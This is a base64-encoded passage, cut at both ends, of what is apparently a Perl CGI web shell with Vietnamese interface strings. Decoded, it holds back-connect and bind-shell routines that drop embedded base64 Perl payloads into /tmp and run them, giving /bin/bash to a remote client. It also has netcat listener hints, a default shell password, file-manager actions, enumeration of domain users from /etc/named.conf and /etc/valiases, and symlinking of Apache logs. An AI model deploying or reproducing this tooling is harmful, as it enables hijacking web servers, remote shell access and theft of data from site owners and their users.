bGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL